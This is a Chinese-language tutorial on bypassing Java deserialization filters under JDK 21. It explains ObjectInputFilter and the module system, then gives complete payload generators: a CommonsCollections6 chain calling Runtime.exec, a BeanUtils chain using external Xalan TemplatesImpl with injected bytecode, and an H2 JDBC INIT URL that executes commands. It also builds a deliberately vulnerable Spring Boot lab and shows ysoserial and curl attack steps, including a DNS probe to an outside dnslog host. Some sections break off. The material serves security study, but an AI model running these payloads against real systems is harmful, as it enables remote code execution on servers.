一、引言

进入 JDK 21 LTS 时代,模块系统的强封装使得 TemplatesImpl 等经典 RCE Sink 彻底失效,但反序列化的攻击面并未消失——它正在向 JDBC 连接串注入、外部 Xalan 库利用、JNDI ObjectFactory 滥用等方向迁移。

二、技术背景:ObjectInputFilter 机制

2.1 JEP 290:进程级序列化过滤(JDK 9)

JEP 290 在 java.io.ObjectInputFilter 接口中定义了三个维度的过滤能力:

过滤维度

对应方法

作用

类过滤

serialClass()

按类名模式允许或拒绝特定类的反序列化

资源限制

depth() / references() / streamBytes()

限制对象图深度、引用数量、流字节数

数组限制

arrayLength()

限制反序列化数组的最大长度

过滤器通过返回 Status.ALLOWED、Status.REJECTED 或 Status.UNDECIDED 三态值来决定是否放行。

过滤器设置方式有三种,优先级从高到低:

jdk.serialFilter 的模式语法:

模式按从左到右顺序匹配,首个匹配项决定结果。未匹配任何模式时返回 UNDECIDED。

2.2 JEP 415:上下文相关过滤器工厂(JDK 17)

JEP 290 的根本局限在于 JVM 全局过滤器是静态的、一刀切的——对所有 ObjectInputStream 实例施加相同的限制。JEP 415 引入了过滤器工厂(Filter Factory),在每个 ObjectInputStream 构造时动态生成过滤器:

工厂接收两个参数并返回最终生效的过滤器:

setSerialFilterFactory 在整个 JVM 生命周期内只能调用一次,第二次调用将抛出 IllegalStateException。

2.3 过滤器决策流程

完整的过滤器决策可以用以下流程表示:

三、JDK 21 序列化过滤体系的关键变化

3.1 从 JDK 9 到 JDK 21:过滤能力演进

版本

里程碑事件

安全影响

JDK 9

JEP 290 引入 ObjectInputFilter

首次提供平台级反序列化过滤能力

JDK 16

非法反射访问默认拒绝

setAccessible(true) 跨模块失效

JDK 17

JEP 415 过滤器工厂;--illegal-access参数移除

TemplatesImpl等内部类的反射操作被阻断

JDK 17

setObjectInputFilter 限制为只能调用一次

防止运行时过滤器替换攻击

JDK 21

强封装策略不变;模块系统全面稳定

攻击面进一步收窄,但无新增过滤 API

3.2 模块系统对经典 Gadget Chain 的致命影响

JDK 21 延续了 JDK 17 的强封装策略,其核心影响是:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 彻底不可用。

TemplatesImpl 是绝大多数经典 RCE 利用链的终点——它内部持有 _bytecodes 字段,调用 newTransformer() 或 getOutputProperties() 时会加载并执行字节码。在 JDK 21 中:

除非目标应用启动时显式添加了 --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED,否则所有依赖 TemplatesImpl 的利用链全部失效。

验证模块封装效果(JDK 21)

编写测试代码TestModuleAccess.java

 public class TestModuleAccess {
     public static void main(String[] args) throws Exception {
         Class<?> clazz = Class.forName(
             "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
         );
         System.out.println("[*] 类加载成功: " + clazz.getName());
 
         try {
             var field = clazz.getDeclaredField("_bytecodes");
             field.setAccessible(true);
             System.out.println("[!] 反射访问成功(不应出现)");
         } catch (java.lang.reflect.InaccessibleObjectException e) {
             System.out.println("[+] 模块系统阻止反射访问: " + e.getMessage());
         }
     }
 }

编译并运行

javac TestModuleAccess.java && java TestModuleAccess

类可以被加载(Class.forName 成功),但私有字段无法通过反射访问。这就是模块系统"物理隔离"的效果——与 ObjectInputFilter 的"策略过滤"不同,模块封装不依赖配置,无法被应用代码绕过。

四、绕过路径一:嵌套反序列化流逃逸

4.1 原理分析

ObjectInputFilter 的设计中存在一个架构性盲区:过滤器绑定在 ObjectInputStream 实例上,而非序列化数据流本身。

当某个对象的 readObject() 方法内部创建了一个新的 ObjectInputStream 并从嵌套流中反序列化数据时,外层过滤器不会自动传播到内层流:

4.2 JEP 415 能否堵住这个缺口?

理论上可以——如果应用通过 setSerialFilterFactory 注册了过滤器工厂,工厂会在每个ObjectInputStream 构造时被调用,包括嵌套创建的实例。

4.3 自定义嵌套流绕过 PoC

使用自定义类 NestingWrapper 作为嵌套载体,需存在于目标 classpath 中才能触发。实战中应使用目标 classpath 上已有的嵌套反序列化类(见 4.5 节 SignedObject 实战方案)。

NestingWrapper.java —— 嵌套反序列化的载体类:

package com.sec.demo;
 
 import java.io.*;
 
 /**
  * 嵌套反序列化包装器:readObject 内部创建新的 ObjectInputStream
  * 用于演示过滤器无法跨流传播的架构缺陷
  */
 public class NestingWrapper implements Serializable {
 
     @Serial
     private static final long serialVersionUID = 1L;
 
     private byte[] nestedPayload;
 
     public NestingWrapper(Object innerObject) throws IOException {
         // 将内部对象序列化为字节数组
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
             oos.writeObject(innerObject);
         }
         this.nestedPayload = baos.toByteArray();
     }
 
     @Serial
     private void readObject(ObjectInputStream ois)
             throws IOException, ClassNotFoundException {
         ois.defaultReadObject();
 
         // 关键:此处创建全新的 ObjectInputStream
         // 外层过滤器不会传播到此处
         ByteArrayInputStream bais = new ByteArrayInputStream(this.nestedPayload);
         try (ObjectInputStream innerOis = new ObjectInputStream(bais)) {
             // 内层流无过滤器,可反序列化任意类
             Object innerObj = innerOis.readObject();
             System.out.println("[!] 嵌套反序列化成功: " + innerObj.getClass().getName());
         }
     }
 }

FilterBypassDemo.java —— 验证绕过效果:

package com.sec.demo;
 
 import java.io.*;
 
 public class FilterBypassDemo {
 
     public static void main(String[] args) throws Exception {
 
         // 1. 构造内部对象(正常情况下应被过滤器拦截的类)
         //    使用 javax.management.BadAttributeValueExpException 作为示例
         //    该类常出现在反序列化利用链中
         var innerObj = new javax.management.BadAttributeValueExpException(null);
 
         // 2. 将内部对象包装进 NestingWrapper
         NestingWrapper wrapper = new NestingWrapper(innerObj);
 
         // 3. 序列化 wrapper
         byte[] serialized;
         try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
              ObjectOutputStream oos = new ObjectOutputStream(baos)) {
             oos.writeObject(wrapper);
             serialized = baos.toByteArray();
         }
 
         // 4. 反序列化时设置严格过滤器
         //    该过滤器仅允许 NestingWrapper 和基本类型
         ObjectInputFilter strictFilter = ObjectInputFilter.Config.createFilter(
             "com.sec.demo.NestingWrapper;java.base/*;!*"
         );
 
         try (ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
              ObjectInputStream ois = new ObjectInputStream(bais)) {
             ois.setObjectInputFilter(strictFilter);
             System.out.println("[*] 外层过滤器: 仅允许 NestingWrapper 和 java.base");
             System.out.println("[*] 开始反序列化...");
             Object result = ois.readObject();
             System.out.println("[+] 外层反序列化完成: " + result.getClass().getName());
         }
     }
 }

编译与执行:

 mkdir -p src/com/sec/demo

编译

javac -d out src/com/sec/demo/NestingWrapper.java src/com/sec/demo/FilterBypassDemo.java

运行

java -cp out com.sec.demo.FilterBypassDemo

外层过滤器明确拒绝了 javax.management.* 下的类,但通过嵌套流成功反序列化了 BadAttributeValueExpException——过滤器被完整绕过。

4.4 为什么过滤器不传播

查看 JDK 21 中 ObjectInputStream 构造函数的关键代码路径:

问题在于:当 NestingWrapper.readObject() 内部执行 new ObjectInputStream(bais) 时,这个新实例的过滤器由工厂决定。默认工厂仅考虑 JVM 全局过滤器,完全不知道外层 OIS 的存在和其过滤策略。

4.5 利用 SignedObject 构造真实嵌套逃逸链

上述 PoC 的局限性在于 NestingWrapper 是自定义类,目标环境中不存在。实战中,需要找到 JDK 或常见框架中本身就执行嵌套反序列化的类。

java.security.SignedObject 是最理想的候选——它是 JDK 原生类,存在于所有 Java 环境中:

SignedObject 嵌套反序列化原理:

攻击链路设计:SignedObject 本身的 readObject() 不会触发 getObject(),需要借助 Getter 调用链来触发:

SignedObjectBypassDemo.java —— 完整的 SignedObject 嵌套绕过演示:

package com.sec.demo;

import java.io.*;
import java.security.*;

/**
 * 利用 JDK 原生类 SignedObject 实现嵌套反序列化逃逸
 * SignedObject 存在于所有 JDK 环境中,无需额外依赖
 *
 * 攻击链:外层反序列化 SignedObject → getObject() 创建新 OIS → 内层无过滤
 */
public class SignedObjectBypassDemo {

    public static void main(String[] args) throws Exception {

        // 1. 准备内层恶意对象(在实际攻击中,这里放置 CC6/CB1 等利用链 Payload)
        //    此处用 BadAttributeValueExpException 演示过滤器绕过
        var innerEvil = new javax.management.BadAttributeValueExpException(
            "this_should_be_blocked_by_filter"
        );

        // 2. 生成签名密钥对(签名验证不影响 getObject 的执行)
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();

        // 3. 将恶意对象包装进 SignedObject
        Signature sig = Signature.getInstance("SHA256withDSA");
        SignedObject signedObj = new SignedObject(innerEvil, kp.getPrivate(), sig);

        // 4. 序列化 SignedObject
        byte[] serialized;
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(signedObj);
            serialized = baos.toByteArray();
        }

        System.out.println("[*] 序列化数据大小: " + serialized.length + " bytes");

        // 5. 配置严格的白名单过滤器
        //    仅允许 SignedObject 及其依赖的 JDK 基础类
        ObjectInputFilter strictFilter = ObjectInputFilter.Config.createFilter(
            "java.security.SignedObject;"
            + "java.lang.*;"
            + "java.security.*;"
            + "java.base/*;"
            + "!*"
        );

        // 6. 反序列化 SignedObject(外层过滤器允许)
        try (ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            ois.setObjectInputFilter(strictFilter);
            System.out.println("[*] 外层过滤器: 仅允许 SignedObject 和 java.base 类");

            SignedObject restored = (SignedObject) ois.readObject();
            System.out.println("[+] 外层反序列化成功: SignedObject");

            // 7. 调用 getObject() 触发嵌套反序列化(绕过外层过滤器)
            //    在实际利用链中,这一步由 Getter 调用链自动触发
            Object inner = restored.getObject();
            System.out.println("[!] 嵌套反序列化绕过成功: " + inner.getClass().getName());
            System.out.println("[!] 内容: " + inner);
        }
    }
}

编译与运行:

javac -d out src/com/sec/demo/SignedObjectBypassDemo.java
java -cp out com.sec.demo.SignedObjectBypassDemo

SignedObject 是 JDK 原生类(java.security 包),在几乎所有过滤策略中都会被放行。它的 getObject() 方法在内部创建了新的 ObjectInputStream,天然构成嵌套反序列化的跳板。

在实际利用中,攻击者将 CC6 等完整利用链序列化后存入 SignedObject.content,再通过 Getter 调用链(如 BeanComparator、POJONode 等)自动触发 getObject()。

五、绕过路径二:基于白名单类的利用链重构

5.1 黑名单过滤器的本质缺陷

生产环境中最常见的过滤策略是黑名单——列举已知危险类并拒绝:

黑名单模式存在根本性缺陷:防御者必须穷举所有危险类,攻击者只需找到一个遗漏。

5.2 利用 URLDNS 探测过滤策略

URLDNS 链仅使用 java.util.HashMap 和 java.net.URL,这两个类几乎不可能被过滤(否则大量正常业务会崩溃),因此是最可靠的探测手段:

使用 ysoserial 生成探测 Payload:

java --add-opens java.base/java.net=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED -jar /home/nl/tools/ysoserial-all.jar URLDNS "http://70de4b4d98.ddns.1433.eu.org." > urldns.bin

5.3 利用 GadgetProbe 枚举目标类路径

确认反序列化入口存在后,使用 GadgetProbe 进行类路径探测——判断目标环境中加载了哪些库:

# 准备探测类列表
cat > probe-classes.txt << 'EOF'
org.apache.commons.collections.Transformer
org.apache.commons.collections4.Transformer
org.apache.commons.beanutils.BeanComparator
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
org.aspectj.weaver.tools.cache.SimpleCache
com.alibaba.fastjson.JSON
org.apache.xalan.xsltc.trax.TemplatesImpl
com.fasterxml.jackson.databind.node.POJONode
org.springframework.aop.framework.JdkDynamicAopProxy
org.h2.jdbcx.JdbcDataSource
EOF

GadgetProbe 通过 DNS 回调判断类是否存在于目标 classpath 中。每个类对应一个唯一子域名,存在则触发 DNS 解析,不存在则无回调。

5.4 典型黑名单绕过:CC6 变体

假设目标过滤器拦截了 org.apache.commons.collections.functors.* 包下的所有类(如 InvokerTransformer、InstantiateTransformer),但未拦截 org.apache.commons.collections.keyvalue.* 和 org.apache.commons.collections.map.*:

package com.sec.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/**
 * CC6 变体 —— 不依赖 TemplatesImpl,直接执行系统命令
 * 利用链:HashMap → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()
 *
 * 在 JDK 21 下可用的条件:
 * 1. 目标 classpath 含 commons-collections 3.1 ~ 3.2.1
 *    (CC 3.2.2 的 InvokerTransformer.readObject() 主动抛异常,序列化被禁用)
 * 2. 过滤器未拦截 functors 包下的类
 */
public class CC6Exploit {

    public static byte[] generatePayload(String command) throws Exception {

        // 构造 Transformer 链:() → Runtime.class → getRuntime() → exec(cmd)
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{command}
            )
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 使用 LazyMap 触发 Transformer
        Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

        // TiedMapEntry 将 Map 操作代理到 hashCode 调用
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

        // HashMap.put → entry.hashCode → LazyMap.get → ChainedTransformer.transform
        Map<Object, Object> expMap = new HashMap<>();
        expMap.put(entry, "value");

        // 清理 LazyMap 中在 put 过程中产生的缓存
        // 如果不清理,反序列化时 LazyMap.get("key") 会命中缓存而不触发 transform
        lazyMap.remove("key");

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(expMap);
        }
        return baos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 1) {
            System.out.println("Usage: java CC6Exploit <command>");
            System.out.println("Example: java CC6Exploit 'touch /tmp/pwned'");
            return;
        }
        byte[] payload = generatePayload(args[0]);
        // 输出 Base64 编码的 Payload
        System.out.println(Base64.getEncoder().encodeToString(payload));
    }
}

利用链调用路径可视化:

5.5 黑名单策略的绕过方法论

六、Post-TemplatesImpl : Gadget Chain 构造

TemplatesImpl 在 JDK 21 中被模块系统封锁后,攻击者需要寻找新的 RCE Sink。

6.1 路径一:外部 Xalan 库的 TemplatesImpl 替代

Maven Central 上的独立 Xalan-J 库(xalan:xalan)包含自己的 org.apache.xalan.xsltc.trax.TemplatesImpl 实现,该类位于第三方 JAR 中,不受 JDK 模块系统的封装限制。

区分两个 TemplatesImpl:

属性

JDK 内置版本

外部 Xalan-J 版本

全限定名

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

org.apache.xalan.xsltc.trax.TemplatesImpl

所在模块

java.xml(未导出包)

unnamed module(classpath 上的普通 JAR)

JDK 21 反射访问

抛出 InaccessibleObjectException

正常访问

Maven 坐标

​

xalan:xalan:2.7.3

使用场景

JDK 内部 XML/XSLT 处理

需要独立 Xalan 功能的应用(XML 处理、XSLT 转换)

改造后的利用链构造(以 CommonsBeanutils1 为例):

package com.sec.demo;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

/**
 * 在 JDK 21 下绕过模块系统封装
 *
 * 依赖:commons-beanutils:1.9.4, xalan:xalan:2.7.3, javassist:3.30.2-GA
 */
public class CB1ExternalXalan {

    public static byte[] generatePayload(String command) throws Exception {

        // 1. 使用 Javassist 动态生成恶意字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil_" + System.currentTimeMillis());

        // 必须继承外部 Xalan 的 AbstractTranslet
        ctClass.setSuperclass(pool.get(
            "org.apache.xalan.xsltc.runtime.AbstractTranslet"
        ));

        // 在静态初始化块中执行命令
        ctClass.makeClassInitializer().insertBefore(
            "java.lang.Runtime.getRuntime().exec(\"" + command + "\");"
        );

        byte[] bytecode = ctClass.toBytecode();

        // 2. 实例化外部 Xalan 的 TemplatesImpl
        Object templates = Class.forName(
            "org.apache.xalan.xsltc.trax.TemplatesImpl"
        ).getDeclaredConstructor().newInstance();

        // 3. 通过反射设置字段(外部 Xalan 位于 unnamed module,不受封装限制)
        setField(templates, "_bytecodes", new byte[][]{bytecode});
        setField(templates, "_name", "anything");  // 非 null 即可,触发字节码加载的条件
        setField(templates, "_tfactory", Class.forName(
            "org.apache.xalan.xsltc.trax.TransformerFactoryImpl"
        ).getDeclaredConstructor().newInstance());

        // 4. 构造 BeanComparator,目标属性为 outputProperties
        //    BeanComparator.compare(a, b) 内部调用:
        //    PropertyUtils.getProperty(a, "outputProperties")
        //    → 反射调用 a.getOutputProperties()
        //    → TemplatesImpl.getOutputProperties()
        //    → TemplatesImpl.newTransformer()
        //    → 加载并实例化 _bytecodes 中的字节码 → 触发静态初始化块 → RCE
        BeanComparator<Object> comparator = new BeanComparator<>(
            "outputProperties"
        );

        // 5. PriorityQueue 在反序列化时触发 comparator
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);

        // 先用无害值填充,避免 put 时就触发 comparator.compare()
        queue.add("1");
        queue.add("2");

        // 反射替换 queue 内部数组为恶意 templates
        setField(queue, "queue", new Object[]{templates, templates});

        // 6. 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(queue);
        }
        return baos.toByteArray();
    }

    private static void setField(Object obj, String fieldName, Object value)
            throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);  // 外部 Xalan 在 unnamed module,此调用不会抛异常
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 1) {
            System.out.println("Usage: java CB1ExternalXalan <command>");
            return;
        }
        byte[] payload = generatePayload(args[0]);
        System.out.println(Base64.getEncoder().encodeToString(payload));
    }
}

6.2 路径二:JDBC Connection String 攻击(H2 Database Sink)

当目标 classpath 中存在 H2 Database 驱动时,可通过构造恶意 JDBC URL 实现 RCE——H2 支持通过 INIT 参数执行 SQL,配合 CREATE ALIAS 可加载并执行 Java 代码。

攻击原理流程:

恶意 JDBC URL 构造(H2 1.4.200):

jdbc:h2:mem:test;INIT=CREATE ALIAS IF NOT EXISTS EXEC AS
  'void exec(String cmd) throws Exception {
    Runtime.getRuntime().exec(cmd)\;
  }'\;
  CALL EXEC('touch /tmp/pwned')

H2 JDBC URL 使用 \; 作为 SQL 语句内的分号(区别于 URL 参数分隔符 ;)。

结合 CommonsBeanutils 的利用链:

package com.sec.demo;

import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;

/**
 * CB1 + H2 JDBC Sink
 * 利用 BeanComparator 调用目标对象的 getter 方法
 * 通过 JdbcDataSource.getConnection() 触发恶意 JDBC URL 解析
 *
 * 前置条件:
 * - 目标 classpath 包含 h2:1.4.200 + commons-beanutils
 * - H2 2.x 需要额外条件,利用难度增大
 */
public class CB1H2Exploit {

    /**
     * 构造恶意 H2 DataSource
     * org.h2.jdbcx.JdbcDataSource 实现了 javax.sql.DataSource 和 Serializable
     */
    public static Object createMaliciousDataSource(String command)
            throws Exception {

        // 构造恶意 JDBC URL
        // H2 1.4.200 中,INIT 参数允许执行任意 SQL(包括 CREATE ALIAS)
        String jdbcUrl = "jdbc:h2:mem:test;INIT="
            + "CREATE ALIAS IF NOT EXISTS EXEC AS "
            + "'void exec(String cmd) throws Exception {"
            + "  Runtime.getRuntime().exec(cmd)\\;"
            + "}'\\;"
            + "CALL EXEC('" + command + "')";

        // JdbcDataSource 实现了 Serializable,可以被序列化传输
        Object ds = Class.forName("org.h2.jdbcx.JdbcDataSource")
            .getDeclaredConstructor().newInstance();

        // 设置恶意 URL
        Method setUrl = ds.getClass().getMethod("setURL", String.class);
        setUrl.invoke(ds, jdbcUrl);

        return ds;
    }

    public static byte[] generatePayload(String command) throws Exception {

        Object maliciousDs = createMaliciousDataSource(command);

        // BeanComparator("connection") 会调用 getConnection()
        // JdbcDataSource.getConnection() 内部执行 DriverManager.getConnection(url)
        // 从而触发 INIT 参数中的恶意 SQL
        BeanComparator<Object> comparator = new BeanComparator<>("connection");

        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add("1");
        queue.add("2");

        // 反射替换 queue 内部元素
        Field queueField = PriorityQueue.class.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue, new Object[]{maliciousDs, maliciousDs});

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(queue);
        }
        return baos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 1) {
            System.out.println("Usage: java CB1H2Exploit <command>");
            return;
        }
        byte[] payload = generatePayload(args[0]);
        System.out.println(Base64.getEncoder().encodeToString(payload));
    }
}

6.3 路径三:AspectJWeaver 文件写入 + Cron/计划任务提权

当目标 classpath 包含 aspectjweaver 和 commons-collections4 时,可利用 SimpleCache$StorableCachingMap 实现任意文件写入——不需要 TemplatesImpl,不依赖 JDK 内部类:

利用链路径:

七、从环境搭建到漏洞利用全链路

7.1 实验环境架构

7.2 环境准备

Step 1: 安装 JDK 21

java -version

Step 2: 安装 Maven

sudo apt install maven -y
mvn -version

Step 3: 准备 ysoserial

ysoserial 是反序列化漏洞利用工具

mkdir -p ~/tools && cd ~/tools
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

从 JDK 9 开始引入模块化系统,默认限制了内部 API 的访问。ysoserial 需要访问这些内部 API 才能工作,因此通过 --add-opens 参数强制打开这些模块:

(让 ysoserial 这个工具能在 Java 17 以上版本正常跑起来。)

cat > ~/tools/ysoserial.sh << 'SCRIPT'
#!/bin/bash
# ysoserial 启动脚本
java \
    --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
    --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
    --add-opens java.base/java.util=ALL-UNNAMED \
    --add-opens java.base/java.lang=ALL-UNNAMED \
    --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
    --add-opens java.base/java.io=ALL-UNNAMED \
    --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
    -jar ~/tools/ysoserial-all.jar "$@"
SCRIPT
chmod +x ~/tools/ysoserial.sh

验证 ysoserial 可用

~/tools/ysoserial.sh --help

技--add-opens 参数仅作用于 ysoserial 本身运行的 JVM——让 ysoserial 能够通过反射构造 Payload。这并不影响目标 JDK 21 环境的模块封装。生成的 Payload 发送到目标后,是否能成功利用取决于目标的模块配置。

7.3 搭建靶场

Step 1: 创建 Spring Boot 3 项目

mkdir -p ~/vuln-deser-lab && cd ~/vuln-deser-lab

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.5</version>
    </parent>

    <groupId>com.vuln</groupId>
    <artifactId>deser-lab</artifactId>
    <version>1.0.0</version>

    <properties>
        <java.version>21</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- 漏洞依赖:Commons Collections 3.2.1 -->
        <!-- 3.2.2 在 InvokerTransformer.readObject() 中主动抛 UnsupportedOperationException -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

        <!-- 漏洞依赖:Commons BeanUtils(提供 Getter 调用链) -->
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.4</version>
        </dependency>

        <!-- 漏洞依赖:H2 Database 1.4.200 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.200</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

Step 2: 编写含漏洞的反序列化端点

mkdir -p src/main/java/com/vuln/deser

DeserLabApplication.java:

package com.vuln.deser;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class DeserLabApplication {
    public static void main(String[] args) {
        SpringApplication.run(DeserLabApplication.class, args);
    }
}

VulnController.java —— 模拟不安全的反序列化端点:

package com.vuln.deser;

import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;

import java.io.*;
import java.util.Base64;

@RestController
public class VulnController {

    /**
     * 场景一:无过滤器 —— 完全不设防的反序列化
     * 模拟遗留系统中直接反序列化用户输入的场景
     */
    @PostMapping("/api/deserialize/unsafe")
    public ResponseEntity<String> unsafeDeserialize(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data.trim());
            ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(data)
            );
            Object obj = ois.readObject();
            return ResponseEntity.ok("反序列化成功: " + obj.getClass().getName());
        } catch (Exception e) {
            return ResponseEntity.badRequest()
                .body("反序列化失败: " + e.getMessage());
        }
    }

    /**
     * 场景二:黑名单过滤器 —— 仅拦截已知危险类
     * 这是最常见但最薄弱的防御方式
     */
    @PostMapping("/api/deserialize/blacklist")
    public ResponseEntity<String> blacklistDeserialize(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data.trim());
            ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(data)
            );
            // 黑名单过滤器:拦截已知 Gadget 类
            ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
                "!org.apache.commons.collections.functors.**;"
                + "!org.apache.commons.collections4.functors.**;"
                + "!com.sun.org.apache.xalan.**;"
                + "!javassist.**;"
                + "*"
            );
            ois.setObjectInputFilter(filter);
            Object obj = ois.readObject();
            return ResponseEntity.ok("反序列化成功: " + obj.getClass().getName());
        } catch (Exception e) {
            return ResponseEntity.badRequest()
                .body("过滤器拦截: " + e.getMessage());
        }
    }

    /**
     * 场景三:白名单过滤器 —— 严格限制允许的类
     * 安全性最高,但配置不当仍可能被绕过
     */
    @PostMapping("/api/deserialize/whitelist")
    public ResponseEntity<String> whitelistDeserialize(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data.trim());
            ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(data)
            );
            // 白名单:仅允许业务类和基础类
            ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
                "com.vuln.deser.**;"
                + "java.lang.*;"
                + "java.util.*;"
                + "!*"
            );
            ois.setObjectInputFilter(filter);
            Object obj = ois.readObject();
            return ResponseEntity.ok("反序列化成功: " + obj.getClass().getName());
        } catch (Exception e) {
            return ResponseEntity.badRequest()
                .body("过滤器拦截: " + e.getMessage());
        }
    }
}

Step 3: 编译并启动靶场

cd ~/vuln-deser-lab

# 编译打包
mvn clean package -DskipTests

启动

java -jar target/deser-lab-1.0.0.jar --server.port=8888

另开终端执行

curl -s http://localhost:8888/api/deserialize/unsafe -X POST \
    -H "Content-Type: text/plain" -d "dGVzdA=="

Base64 "test" 不是有效的序列化数据,但说明端点可达。

7.4 攻击演示一:URLDNS 探测

生成 URLDNS 探测 Payload

~/tools/ysoserial.sh URLDNS "http://70de4b4d98.ddns.1433.eu.org." \
    | base64 -w 0 > /tmp/urldns_payload.txt

发送到无过滤端点

curl -X POST http://127.0.0.1:8888/api/deserialize/unsafe \
    -H "Content-Type: text/plain" \
    -d @/tmp/urldns_payload.txt

检查 dnslog 平台是否收到 DNS 查询

dnslog 平台收到 DNS 查询记录,确认存在反序列化入口。

7.5 攻击演示二:CC6 链攻击无过滤端点

生成 CC6 Payload

~/tools/ysoserial.sh CommonsCollections6 "touch /tmp/pwned" \
    | base64 -w 0 > /tmp/cc6_payload.txt

发送 Payload

curl -X POST http://localhost:8888/api/deserialize/unsafe \
    -H "Content-Type: text/plain" \
    -d @/tmp/cc6_payload.txt

验证 RCE

ls -la /tmp/pwned

7.6 攻击演示三:绕过黑名单过滤器

黑名单端点拦截了 org.apache.commons.collections.functors.**,直接发送 CC6 会被拦截:

curl -X POST http://localhost:8888/api/deserialize/blacklist \
    -H "Content-Type: text/plain" \
    -d @/tmp/cc6_payload.txt

绕过方式:利用嵌套流 + CC6 的组合。

靶场中的 com.vuln.deser.NestingWrapper 类模拟了嵌套反序列化行为(参见 7.3 Step 2)。该类在黑名单过滤器中未被拦截(黑名单末尾的 * 放行了所有未显式拒绝的类),其 readObject() 会创建新的 ObjectInputStream 反序列化内嵌的字节数组——新的 OIS 不继承外层过滤器。

攻击思路

